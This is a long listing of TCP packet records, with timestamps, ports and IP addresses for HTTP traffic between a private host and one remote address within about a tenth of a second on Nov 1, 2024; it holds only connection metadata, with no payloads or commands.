Nov 1, 2024 10:57:10.844656944 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844662905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844671965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844675064 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844682932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844692945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844698906 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844722033 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844734907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844758987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844769955 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844778061 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844789982 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844798088 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844809055 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844819069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844827890 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844834089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844836950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844852924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844861031 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844918013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844928980 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844938040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844948053 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.844960928 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844974041 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.844995022 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845069885 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845079899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845088959 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845098972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845107079 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845110893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845122099 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845122099 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845135927 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845140934 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845148087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845155001 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845159054 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845170021 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845179081 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845180035 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845196009 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845206022 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845207930 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845215082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845216036 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845227003 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845237970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845254898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845262051 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845266104 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845278025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845288038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845293045 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845298052 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845314980 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845339060 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845416069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845426083 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845433950 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845443964 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845453024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845459938 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845463991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845482111 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845499992 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845558882 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845568895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845577002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845587969 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845598936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845602989 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845612049 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845616102 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845640898 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845668077 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845695972 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845705986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845714092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845726013 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845735073 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845741987 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845745087 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845752954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845757008 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.845774889 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.845799923 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.863110065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.863121986 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.863131046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.863141060 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.863202095 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.863233089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929584026 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929603100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929611921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929671049 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929680109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929688931 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929697990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929708004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929712057 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929753065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929763079 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929764032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929773092 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929786921 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929792881 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929800034 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929810047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929822922 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929831028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929848909 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929864883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929876089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929907084 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929941893 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929953098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.929982901 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.929994106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930053949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930093050 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930109978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930124998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930134058 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930150032 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930159092 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930180073 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930203915 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930213928 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930222988 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930233002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930242062 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930248976 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930274963 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930285931 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930301905 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930313110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930320978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930346012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930368900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930469990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930480957 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930490971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930510998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930537939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930566072 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930576086 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930583954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930593014 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930603027 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930614948 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930639982 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930661917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930671930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930680990 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930696964 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930702925 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930721998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930743933 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930746078 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930780888 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930874109 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930912018 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930915117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930926085 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930943012 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930953979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930953979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930967093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930977106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.930991888 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.930998087 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931004047 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931041002 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931150913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931162119 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931170940 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931180954 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931186914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931216955 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931284904 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931296110 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931304932 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931319952 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931334019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931334019 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931349993 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931356907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931360960 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931370974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931390047 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931416988 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931430101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931441069 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931451082 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931477070 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931495905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931526899 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931536913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931545973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931576967 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931596994 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931602001 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931612015 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931619883 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931644917 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931653976 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931659937 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931684971 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931715012 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931715965 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931727886 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931735992 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.931757927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.931782007 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932460070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932497025 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932507038 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932533979 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932550907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932550907 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932562113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932574987 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932601929 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932625055 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932641029 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932651043 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932660103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932671070 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932679892 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932683945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932688951 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932709932 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932720900 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932773113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932781935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932791948 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932820082 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932842970 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932859898 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932869911 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932878971 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932889938 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932898998 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932905912 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932934046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932936907 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932941914 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932949066 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932974100 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932984114 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.932984114 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.932996035 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933010101 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933036089 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933113098 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933123112 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933132887 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933144093 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933159113 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933159113 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933173895 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933202028 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933218002 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933228970 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933238983 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933254004 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933265924 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933267117 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933279037 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933284998 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933290958 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933311939 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933337927 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933351040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933362961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933372974 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933384895 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933396101 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933403969 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933414936 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933429956 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933459997 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933470011 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933479071 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933491945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933502913 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933504105 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933516979 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933527946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933540106 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933568954 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933603048 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933614016 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933631897 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933643103 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933649063 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933660984 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933672905 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933702946 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933866024 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933876991 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933887005 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933896065 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933906078 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933917046 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933917046 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933933973 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933936119 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933948040 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933959961 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933960915 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933971882 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.933974028 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933985949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.933996916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934006929 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934009075 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934019089 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934027910 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934031963 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934041977 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934041977 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934055090 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934062958 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934066057 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934077978 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934088945 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934088945 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934123039 CET	49820	80	192.168.2.4	31.41.244.11
Nov 1, 2024 10:57:10.934175968 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934186935 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934196949 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934207916 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934217930 CET	80	49820	31.41.244.11	192.168.2.4
Nov 1, 2024 10:57:10.934218884 CET	49820	80	192.168.2.4	31.41.244.11
